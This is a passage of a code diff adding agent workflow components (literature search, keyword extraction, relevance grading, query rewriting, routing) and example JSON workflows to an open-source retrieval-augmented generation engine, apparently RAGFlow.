+        self.check_valid_value(self.sort_by, "GoogleScholar Sort_by", ['date', 'relevance'])
+        self.check_boolean(self.patents, "Whether or not to include patents, defaults to True")
+
+
+class GoogleScholar(ComponentBase, ABC):
+    component_name = "GoogleScholar"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return GoogleScholar.be_output("")
+
+        scholar_client = scholarly.search_pubs(ans, patents=self._param.patents, year_low=self._param.year_low,
+                                               year_high=self._param.year_high, sort_by=self._param.sort_by)
+        scholar_res = []
+        for i in range(self._param.top_n):
+            try:
+                pub = next(scholar_client)
+                scholar_res.append({"content": 'Title: ' + pub['bib']['title'] + '\n_Url: <a href="' + pub[
+                    'pub_url'] + '"></a> ' + "\n author: " + ",".join(pub['bib']['author']) + '\n Abstract: ' + pub[
+                                                   'bib'].get('abstract', 'no abstract')})
+
+            except StopIteration or Exception as e:
+                print("**ERROR** " + str(e))
+                break
+
+        if not scholar_res:
+            return GoogleScholar.be_output("")
+
+        df = pd.DataFrame(scholar_res)
+        if DEBUG: print(df, ":::::::::::::::::::::::::::::::::")
+        return df

agent/component/keyword.py

@@ -0,0 +1,65 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import re
+from abc import ABC
+from api.db import LLMType
+from api.db.services.llm_service import LLMBundle
+from agent.component import GenerateParam, Generate
+from agent.settings import DEBUG
+
+
+class KeywordExtractParam(GenerateParam):
+    """
+    Define the KeywordExtract component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.top_n = 1
+
+    def check(self):
+        super().check()
+        self.check_positive_integer(self.top_n, "Top N")
+
+    def get_prompt(self):
+        self.prompt = """
+- Role: You're a question analyzer. 
+- Requirements: 
+  - Summarize user's question, and give top %s important keyword/phrase.
+  - Use comma as a delimiter to separate keywords/phrases.
+- Answer format: (in language of user's question)
+  - keyword: 
+""" % self.top_n
+        return self.prompt
+
+
+class KeywordExtract(Generate, ABC):
+    component_name = "KeywordExtract"
+
+    def _run(self, history, **kwargs):
+        q = ""
+        for r, c in self._canvas.history[::-1]:
+            if r == "user":
+                q += c
+                break
+
+        chat_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.CHAT, self._param.llm_id)
+        ans = chat_mdl.chat(self._param.get_prompt(), [{"role": "user", "content": q}],
+                            self._param.gen_conf())
+
+        ans = re.sub(r".*keyword:", "", ans).strip()
+        if DEBUG: print(ans, ":::::::::::::::::::::::::::::::::")
+        return KeywordExtract.be_output(ans)

agent/component/message.py

@@ -0,0 +1,53 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import random
+from abc import ABC
+from functools import partial
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class MessageParam(ComponentParamBase):
+
+    """
+    Define the Message component parameters.
+    """
+    def __init__(self):
+        super().__init__()
+        self.messages = []
+
+    def check(self):
+        self.check_empty(self.messages, "[Message]")
+        return True
+
+
+class Message(ComponentBase, ABC):
+    component_name = "Message"
+
+    def _run(self, history, **kwargs):
+        if kwargs.get("stream"):
+            return partial(self.stream_output)
+
+        return Message.be_output(random.choice(self._param.messages))
+
+    def stream_output(self):
+        res = None
+        if self._param.messages:
+            res = {"content": random.choice(self._param.messages)}
+            yield res
+
+        self.set_output(res)
+
+

agent/component/pubmed.py

@@ -0,0 +1,65 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+from Bio import Entrez
+import pandas as pd
+import xml.etree.ElementTree as ET
+from agent.settings import DEBUG
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class PubMedParam(ComponentParamBase):
+    """
+    Define the PubMed component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.top_n = 5
+        self.email = "A.N.Other@example.com"
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
+
+
+class PubMed(ComponentBase, ABC):
+    component_name = "PubMed"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return PubMed.be_output("")
+
+        try:
+            Entrez.email = self._param.email
+            pubmedids = Entrez.read(Entrez.esearch(db='pubmed', retmax=self._param.top_n, term=ans))['IdList']
+            pubmedcnt = ET.fromstring(
+                Entrez.efetch(db='pubmed', id=",".join(pubmedids), retmode="xml").read().decode("utf-8"))
+            pubmed_res = [{"content": 'Title:' + child.find("MedlineCitation").find("Article").find(
+                "ArticleTitle").text + '\nUrl:<a href=" https://pubmed.ncbi.nlm.nih.gov/' + child.find(
+                "MedlineCitation").find("PMID").text + '">' + '</a>\n' + 'Abstract:' + child.find(
+                "MedlineCitation").find("Article").find("Abstract").find("AbstractText").text} for child in
+                          pubmedcnt.findall("PubmedArticle")]
+        except Exception as e:
+            return PubMed.be_output("**ERROR**: " + str(e))
+
+        if not pubmed_res:
+            return PubMed.be_output("")
+
+        df = pd.DataFrame(pubmed_res)
+        if DEBUG: print(df, ":::::::::::::::::::::::::::::::::")
+        return df

agent/component/relevant.py

@@ -0,0 +1,80 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+from api.db import LLMType
+from api.db.services.llm_service import LLMBundle
+from agent.component import GenerateParam, Generate
+from rag.utils import num_tokens_from_string, encoder
+
+
+class RelevantParam(GenerateParam):
+
+    """
+    Define the Relevant component parameters.
+    """
+    def __init__(self):
+        super().__init__()
+        self.prompt = ""
+        self.yes = ""
+        self.no = ""
+
+    def check(self):
+        super().check()
+        self.check_empty(self.yes, "[Relevant] 'Yes'")
+        self.check_empty(self.no, "[Relevant] 'No'")
+
+    def get_prompt(self):
+        self.prompt = """
+        You are a grader assessing relevance of a retrieved document to a user question. 
+        It does not need to be a stringent test. The goal is to filter out erroneous retrievals.
+        If the document contains keyword(s) or semantic meaning related to the user question, grade it as relevant. 
+        Give a binary score 'yes' or 'no' score to indicate whether the document is relevant to the question.
+        No other words needed except 'yes' or 'no'.
+        """
+        return self.prompt
+
+
+class Relevant(Generate, ABC):
+    component_name = "Relevant"
+
+    def _run(self, history, **kwargs):
+        q = ""
+        for r, c in self._canvas.history[::-1]:
+            if r == "user":
+                q = c
+                break
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return Relevant.be_output(self._param.no)
+        ans = "Documents: \n" + ans
+        ans = f"Question: {q}\n" + ans
+        chat_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.CHAT, self._param.llm_id)
+
+        if num_tokens_from_string(ans) >= chat_mdl.max_length - 4:
+            ans = encoder.decode(encoder.encode(ans)[:chat_mdl.max_length - 4])
+
+        ans = chat_mdl.chat(self._param.get_prompt(), [{"role": "user", "content": ans}],
+                            self._param.gen_conf())
+
+        print(ans, ":::::::::::::::::::::::::::::::::")
+        if ans.lower().find("yes") >= 0:
+            return Relevant.be_output(self._param.yes)
+        if ans.lower().find("no") >= 0:
+            return Relevant.be_output(self._param.no)
+        assert False, f"Relevant component got: {ans}"
+
+

agent/component/retrieval.py

@@ -0,0 +1,88 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+
+import pandas as pd
+
+from api.db import LLMType
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.llm_service import LLMBundle
+from api.settings import retrievaler
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class RetrievalParam(ComponentParamBase):
+
+    """
+    Define the Retrieval component parameters.
+    """
+    def __init__(self):
+        super().__init__()
+        self.similarity_threshold = 0.2
+        self.keywords_similarity_weight = 0.5
+        self.top_n = 8
+        self.top_k = 1024
+        self.kb_ids = []
+        self.rerank_id = ""
+        self.empty_response = ""
+
+    def check(self):
+        self.check_decimal_float(self.similarity_threshold, "[Retrieval] Similarity threshold")
+        self.check_decimal_float(self.keywords_similarity_weight, "[Retrieval] Keywords similarity weight")
+        self.check_positive_number(self.top_n, "[Retrieval] Top N")
+        self.check_empty(self.kb_ids, "[Retrieval] Knowledge bases")
+
+
+class Retrieval(ComponentBase, ABC):
+    component_name = "Retrieval"
+
+    def _run(self, history, **kwargs):
+        query = []
+        for role, cnt in history[::-1][:self._param.message_history_window_size]:
+            if role != "user":continue
+            query.append(cnt)
+        query = "\n".join(query)
+
+        kbs = KnowledgebaseService.get_by_ids(self._param.kb_ids)
+        if not kbs:
+            raise ValueError("Can't find knowledgebases by {}".format(self._param.kb_ids))
+        embd_nms = list(set([kb.embd_id for kb in kbs]))
+        assert len(embd_nms) == 1, "Knowledge bases use different embedding models."
+
+        embd_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.EMBEDDING, embd_nms[0])
+        self._canvas.set_embedding_model(embd_nms[0])
+
+        rerank_mdl = None
+        if self._param.rerank_id:
+            rerank_mdl = LLMBundle(kbs[0].tenant_id, LLMType.RERANK, self._param.rerank_id)
+
+        kbinfos = retrievaler.retrieval(query, embd_mdl, kbs[0].tenant_id, self._param.kb_ids,
+                                        1, self._param.top_n,
+                                        self._param.similarity_threshold, 1 - self._param.keywords_similarity_weight,
+                                        aggs=False, rerank_mdl=rerank_mdl)
+
+        if not kbinfos["chunks"]:
+            df = Retrieval.be_output(self._param.empty_response)
+            df["empty_response"] = True
+            return df
+
+        df = pd.DataFrame(kbinfos["chunks"])
+        df["content"] = df["content_with_weight"]
+        del df["content_with_weight"]
+        print(">>>>>>>>>>>>>>>>>>>>>>>>>>\n", query, df)
+        return df
+
+

agent/component/rewrite.py

@@ -0,0 +1,72 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+from api.db import LLMType
+from api.db.services.llm_service import LLMBundle
+from agent.component import GenerateParam, Generate
+
+
+class RewriteQuestionParam(GenerateParam):
+
+    """
+    Define the QuestionRewrite component parameters.
+    """
+    def __init__(self):
+        super().__init__()
+        self.temperature = 0.9
+        self.prompt = ""
+        self.loop = 1
+
+    def check(self):
+        super().check()
+
+    def get_prompt(self):
+        self.prompt = """
+        You are an expert at query expansion to generate a paraphrasing of a question.
+        I can't retrieval relevant information from the knowledge base by using user's question directly.     
+        You need to expand or paraphrase user's question by multiple ways such as using synonyms words/phrase, 
+        writing the abbreviation in its entirety, adding some extra descriptions or explanations, 
+        changing the way of expression, translating the original question into another language (English/Chinese), etc. 
+        And return 5 versions of question and one is from translation.
+        Just list the question. No other words are needed.
+        """
+        return self.prompt
+
+
+class RewriteQuestion(Generate, ABC):
+    component_name = "RewriteQuestion"
+
+    def _run(self, history, **kwargs):
+        if not hasattr(self, "_loop"):
+            setattr(self, "_loop", 0)
+        if self._loop >= self._param.loop:
+            self._loop = 0
+            raise Exception("Maximum loop time exceeds. Can't find relevant information.")
+        self._loop += 1
+        q = "Question: "
+        for r, c in self._canvas.history[::-1]:
+            if r == "user":
+                q += c
+                break
+
+        chat_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.CHAT, self._param.llm_id)
+        ans = chat_mdl.chat(self._param.get_prompt(), [{"role": "user", "content": q}],
+                            self._param.gen_conf())
+
+        print(ans, ":::::::::::::::::::::::::::::::::")
+        return RewriteQuestion.be_output(ans)
+
+

agent/component/switch.py

@@ -0,0 +1,77 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+
+import pandas as pd
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class SwitchParam(ComponentParamBase):
+
+    """
+    Define the Switch component parameters.
+    """
+    def __init__(self):
+        super().__init__()
+        """
+        {
+            "cpn_id": "categorize:0",
+            "not": False,
+            "operator": "gt/gte/lt/lte/eq/in",
+            "value": "",
+            "to": ""
+        }
+        """
+        self.conditions = []
+        self.default = ""
+
+    def check(self):
+        self.check_empty(self.conditions, "[Switch] conditions")
+        self.check_empty(self.default, "[Switch] Default path")
+        for cond in self.conditions:
+            if not cond["to"]: raise ValueError(f"[Switch] 'To' can not be empty!")
+
+    def operators(self, field, op, value):
+        if op == "gt":
+            return float(field) > float(value)
+        if op == "gte":
+            return float(field) >= float(value)
+        if op == "lt":
+            return float(field) < float(value)
+        if op == "lte":
+            return float(field) <= float(value)
+        if op == "eq":
+            return str(field) == str(value)
+        if op == "in":
+            return str(field).find(str(value)) >= 0
+        return False
+
+
+class Switch(ComponentBase, ABC):
+    component_name = "Switch"
+
+    def _run(self, history, **kwargs):
+        for cond in self._param.conditions:
+            input = self._canvas.get_component(cond["cpn_id"])["obj"].output()[1]
+            if self._param.operators(input.iloc[0, 0], cond["operator"], cond["value"]):
+                if not cond["not"]:
+                    return pd.DataFrame([{"content": cond["to"]}])
+
+        return pd.DataFrame([{"content": self._param.default}])
+
+
+
+

agent/component/wikipedia.py

@@ -0,0 +1,69 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import random
+from abc import ABC
+from functools import partial
+import wikipedia
+import pandas as pd
+from agent.settings import DEBUG
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class WikipediaParam(ComponentParamBase):
+    """
+    Define the Wikipedia component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.top_n = 10
+        self.language = "en"
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
+        self.check_valid_value(self.language, "Wikipedia languages",
+                               ['af', 'pl', 'ar', 'ast', 'az', 'bg', 'nan', 'bn', 'be', 'ca', 'cs', 'cy', 'da', 'de',
+                                'et', 'el', 'en', 'es', 'eo', 'eu', 'fa', 'fr', 'gl', 'ko', 'hy', 'hi', 'hr', 'id',
+                                'it', 'he', 'ka', 'lld', 'la', 'lv', 'lt', 'hu', 'mk', 'arz', 'ms', 'min', 'my', 'nl',
+                                'ja', 'nb', 'nn', 'ce', 'uz', 'pt', 'kk', 'ro', 'ru', 'ceb', 'sk', 'sl', 'sr', 'sh',
+                                'fi', 'sv', 'ta', 'tt', 'th', 'tg', 'azb', 'tr', 'uk', 'ur', 'vi', 'war', 'zh', 'yue'])
+
+
+class Wikipedia(ComponentBase, ABC):
+    component_name = "Wikipedia"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return Wikipedia.be_output("")
+
+        try:
+            wiki_res = []
+            wikipedia.set_lang(self._param.language)
+            wiki_engine = wikipedia
+            for wiki_key in wiki_engine.search(ans, results=self._param.top_n):
+                page = wiki_engine.page(title=wiki_key, auto_suggest=False)
+                wiki_res.append({"content": '<a href="' + page.url + '">' + page.title + '</a> ' + page.summary})
+        except Exception as e:
+            return Wikipedia.be_output("**ERROR**: " + str(e))
+
+        if not wiki_res:
+            return Wikipedia.be_output("")
+
+        df = pd.DataFrame(wiki_res)
+        if DEBUG: print(df, ":::::::::::::::::::::::::::::::::")
+        return df

agent/settings.py

@@ -0,0 +1,34 @@
+#
+#  Copyright 2019 The FATE Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+# Logger
+import os
+
+from api.utils.file_utils import get_project_base_directory
+from api.utils.log_utils import LoggerFactory, getLogger
+
+DEBUG = 0
+LoggerFactory.set_directory(
+    os.path.join(
+        get_project_base_directory(),
+        "logs",
+        "flow"))
+# {CRITICAL: 50, FATAL:50, ERROR:40, WARNING:30, WARN:30, INFO:20, DEBUG:10, NOTSET:0}
+LoggerFactory.LEVEL = 30
+
+flow_logger = getLogger("flow")
+database_logger = getLogger("database")
+FLOAT_ZERO = 1e-8
+PARAM_MAXDEPTH = 5

agent/test/client.py

@@ -0,0 +1,48 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import argparse
+import os
+from functools import partial
+from agent.canvas import Canvas
+from agent.settings import DEBUG
+
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser()
+    dsl_default_path = os.path.join(
+        os.path.dirname(os.path.realpath(__file__)),
+        "dsl_examples",
+        "retrieval_and_generate.json",
+    )
+    parser.add_argument('-s', '--dsl', default=dsl_default_path, help="input dsl", action='store', required=True)
+    parser.add_argument('-t', '--tenant_id', default=False, help="Tenant ID", action='store', required=True)
+    parser.add_argument('-m', '--stream', default=False, help="Stream output", action='store_true', required=False)
+    args = parser.parse_args()
+
+    canvas = Canvas(open(args.dsl, "r").read(), args.tenant_id)
+    while True:
+        ans = canvas.run(stream=args.stream)
+        print("==================== Bot =====================\n>    ", end='')
+        if args.stream and isinstance(ans, partial):
+            cont = ""
+            for an in ans():
+                print(an["content"][len(cont):], end='', flush=True)
+                cont = an["content"]
+        else:
+            print(ans["content"])
+
+        if DEBUG: print(canvas.path)
+        question = input("\n==================== User =====================\n> ")
+        canvas.add_user_input(question)

agent/test/dsl_examples/categorize.json

@@ -0,0 +1,45 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there!"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["categorize:0"],
+                "upstream": ["begin"]
+            },
+            "categorize:0": {
+                "obj": {
+                    "component_name": "Categorize",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "category_description": {
+                        "product_related": {
+                          "description": "The question is about the product usage, appearance and how it works.",
+                          "examples": "Why it always beaming?\nHow to install it onto the wall?\nIt leaks, what to do?"
+                        },
+                        "others": {
+                          "description": "The question is not about the product usage, appearance and how it works.",
+                          "examples": "How are you doing?\nWhat is your name?\nAre you a robot?\nWhat's the weather?\nWill it rain?"
+                        }
+                      }
+                    }
+                },
+                "downstream": [],
+                "upstream": ["answer:0"]
+            }
+  },
+  "history": [],
+  "path": [],
+  "answer": []
+}

agent/test/dsl_examples/customer_service.json

@@ -0,0 +1,157 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi! How can I help you?"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["categorize:0"],
+                "upstream": ["begin", "generate:0", "generate:casual", "generate:answer", "generate:complain", "generate:ask_contact", "message:get_contact"]
+            },
+            "categorize:0": {
+                "obj": {
+                    "component_name": "Categorize",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "category_description": {
+                        "product_related": {
+                          "description": "The question is about the product usage, appearance and how it works.",
+                          "examples": "Why it always beaming?\nHow to install it onto the wall?\nIt leaks, what to do?\nException: Can't connect to ES cluster\nHow to build the RAGFlow image from scratch",
+                          "to": "retrieval:0"
+                        },
+                        "casual": {
+                          "description": "The question is not about the product usage, appearance and how it works. Just casual chat.",
+                          "examples": "How are you doing?\nWhat is your name?\nAre you a robot?\nWhat's the weather?\nWill it rain?",
+                          "to": "generate:casual"
+                        },
+                        "complain": {
+                          "description": "Complain even curse about the product or service you provide. But the comment is not specific enough.",
+                          "examples": "How bad is it.\nIt's really sucks.\nDamn, for God's sake, can it be more steady?\nShit, I just can't use this shit.\nI can't stand it anymore.",
+                          "to": "generate:complain"
+                        },
+                        "answer": {
+                          "description": "This answer provide a specific contact information, like e-mail, phone number, wechat number, line number, twitter, discord, etc,.",
+                          "examples": "My phone number is 203921\nkevinhu.hk@gmail.com\nThis is my discord number: johndowson_29384",
+                          "to": "message:get_contact"
+                        }
+                      },
+                      "message_history_window_size": 8
+                    }
+                },
+                "downstream": ["retrieval:0", "generate:casual", "generate:complain", "message:get_contact"],
+                "upstream": ["answer:0"]
+            },
+            "generate:casual": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are a customer support. But the customer wants to have a casual chat with you instead of consulting about the product. Be nice, funny, enthusiasm and concern.",
+                      "temperature": 0.9,
+                      "message_history_window_size": 12,
+                      "cite": false
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["categorize:0"]
+            },
+            "generate:complain": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are a customer support. the Customers complain even curse about the products but not specific enough. You need to ask him/her what's the specific problem with the product. Be nice, patient and concern to soothe your customers’ emotions at first place.",
+                      "temperature": 0.9,
+                      "message_history_window_size": 12,
+                      "cite": false
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["categorize:0"]
+            },
+            "retrieval:0": {
+                "obj": {
+                    "component_name": "Retrieval",
+                    "params": {
+                      "similarity_threshold": 0.2,
+                      "keywords_similarity_weight": 0.3,
+                      "top_n": 6,
+                      "top_k": 1024,
+                      "rerank_id": "BAAI/bge-reranker-v2-m3",
+                      "kb_ids": ["869a236818b811ef91dffa163e197198"]
+                    }
+                },
+                "downstream": ["relevant:0"],
+                "upstream": ["categorize:0"]
+            },
+            "relevant:0": {
+                "obj": {
+                    "component_name": "Relevant",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "temperature": 0.02,
+                      "yes": "generate:answer",
+                      "no": "generate:ask_contact"
+                    }
+                },
+                "downstream": ["generate:answer", "generate:ask_contact"],
+                "upstream": ["retrieval:0"]
+            },
+            "generate:answer": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are an intelligent assistant. Please answer the question based on content of knowledge base. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\". Answers need to consider chat history.\n      Knowledge base content is as following:\n      {input}\n      The above is the content of knowledge base.",
+                      "temperature": 0.02
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["relevant:0"]
+            },
+            "generate:ask_contact": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are a customer support. But you can't answer to customers' question. You need to request their contact like E-mail, phone number, Wechat number, LINE number, twitter, discord, etc,. Product experts will contact them later. Please do not ask the same question twice.",
+                      "temperature": 0.9,
+                      "message_history_window_size": 12,
+                      "cite": false
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["relevant:0"]
+            },
+            "message:get_contact": {
+                "obj":{
+                    "component_name": "Message",
+                    "params": {
+                      "messages": [
+                        "Okay, I've already write this down. What else I can do for you?",
+                        "Get it. What else I can do for you?",
+                        "Thanks for your trust! Our expert will contact ASAP. So, anything else I can do for you?",
+                        "Thanks! So, anything else I can do for you?"
+                      ]
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["categorize:0"]
+            }
+  },
+  "history": [],
+  "messages": [],
+  "path": [],
+  "reference": [],
+  "answer": []
+}

agent/test/dsl_examples/headhunter_zh.json

@@ -0,0 +1,210 @@
+{
+  "components": {
+    "begin": {
+      "obj": {
+        "component_name": "Begin",
+        "params": {
+          "prologue": "您好！我是AGI方向的猎头，了解到您是这方面的大佬，然后冒昧的就联系到您。这边有个机会想和您分享，RAGFlow正在招聘您这个岗位的资深的工程师不知道您那边是不是感兴趣？"
+        }
+      },
+      "downstream": ["answer:0"],
+      "upstream": []
+    },
+    "answer:0": {
+      "obj": {
+        "component_name": "Answer",
+        "params": {}
+      },
+      "downstream": ["categorize:0"],
+      "upstream": ["begin", "message:reject"]
+    },
+    "categorize:0": {
+      "obj": {
+        "component_name": "Categorize",
+        "params": {
+          "llm_id": "deepseek-chat",
+          "category_description": {
+            "about_job": {
+              "description": "该问题关于职位本身或公司的信息。",
+              "examples": "什么岗位？\n汇报对象是谁?\n公司多少人？\n公司有啥产品？\n具体工作内容是啥？\n地点哪里？\n双休吗？",
+              "to": "retrieval:0"
+            },
+            "casual": {
+              "description": "该问题不关于职位本身或公司的信息，属于闲聊。",
+              "examples": "你好\n好久不见\n你男的女的？\n你是猴子派来的救兵吗？\n上午开会了?\n你叫啥？\n最近市场如何?生意好做吗？",
+              "to": "generate:casual"
+            },
+            "interested": {
+              "description": "该回答表示他对于该职位感兴趣。",
+              "examples": "嗯\n说吧\n说说看\n还好吧\n是的\n哦\nyes\n具体说说",
+              "to": "message:introduction"
+            },
+            "answer": {
+              "description": "该回答表示他对于该职位不感兴趣，或感觉受到骚扰。",
+              "examples": "不需要\n不感兴趣\n暂时不看\n不要\nno\n我已经不干这个了\n我不是这个方向的",
+              "to": "message:reject"
+            }
+          }
+        }
+      },
+      "downstream": [
+        "message:introduction",
+        "generate:casual",
+        "message:reject",
+        "retrieval:0"
+      ],
+      "upstream": ["answer:0"]
+    },
+    "message:introduction": {
+      "obj": {
+        "component_name": "Message",
+        "params": {
+          "messages": [
+            "我简单介绍以下：\nRAGFlow 是一款基于深度文档理解构建的开源 RAG（Retrieval-Augmented Generation）引擎。RAGFlow 可以为各种规模的企业及个人提供一套精简的 RAG 工作流程，结合大语言模型（LLM）针对用户各类不同的复杂格式数据提供可靠的问答以及有理有据的引用。https://github.com/infiniflow/ragflow\n您那边还有什么要了解的？"
+          ]
+        }
+      },
+      "downstream": ["answer:1"],
+      "upstream": ["categorize:0"]
+    },
+    "answer:1": {
+      "obj": {
+        "component_name": "Answer",
+        "params": {}
+      },
+      "downstream": ["categorize:1"],
+      "upstream": [
+        "message:introduction",
+        "generate:aboutJob",
+        "generate:casual",
+        "generate:get_wechat",
+        "generate:nowechat"
+      ]
+    },
+    "categorize:1": {
+      "obj": {
+        "component_name": "Categorize",
+        "params": {
+          "llm_id": "deepseek-chat",
